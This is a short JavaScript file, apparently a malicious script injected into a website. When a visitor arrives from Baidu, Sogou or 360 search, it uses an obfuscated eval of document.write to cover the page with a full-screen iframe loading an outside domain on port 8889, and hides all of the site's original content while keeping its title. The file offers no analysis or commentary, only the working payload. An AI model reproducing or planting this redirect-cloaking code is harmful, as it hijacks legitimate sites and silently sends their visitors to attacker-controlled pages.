1var titlestr = document.title; 2var arr = ["https://dc8.ynrkmzqt.top:8889/dc8hasby.html"]; 3var linkIndex = Math.floor((Math.random() * arr.length)); 4var referer = document.referrer; 5var regex = /(baidu\.com|sogou\.com|so\.com)/i; 6if (regex.test(referer)) { 7 setFrame(arr[linkIndex]); 8} 9 10function setFrame(olink) { 11 var ss = '<title>' + titlestr + '</title><div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" height="100%" src="' + olink.replace('*', randomStr20()) + '"></iframe></div><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;}</style>'; 12 eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); 13 try { 14 setTimeout(function () { 15 console.log(document.body.children.length); 16 for (var i = 0; i < document.body.children.length; i++) { 17 try { 18 var a = document.body.children[i].tagName; 19 var b = document.body.children[i].id; 20 console.log(i + "***" + a + "**" + b); 21 if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") { 22 document.body.children[i].style.display = "non" + "e" 23 } 24 } catch (e) { 25 } 26 } 27 var oMeta = document.createElement('meta'); 28 oMeta.name = 'viewport'; 29 oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no'; 30 document.getElementsByTagName('head')[0].appendChild(oMeta); 31 }, 32 100) 33 } catch (e) { 34 } 35} 36 37function randomStr20() { 38 var chars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 39 'x', 'y', 'z' 40 ]; 41 var timestamp = new Date().getTime(); 42 var timestamp2 = String(timestamp); 43 var strs = ""; 44 var timestampArr = timestamp2.split('') 45 for (let i = 0; i < timestampArr.length; i++) { 46 let id = parseInt(Math.random() * 24); 47 if(chars[id]) { 48 strs += timestampArr[i]+chars[id]; 49 } 50 } 51 return strs; 52}
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.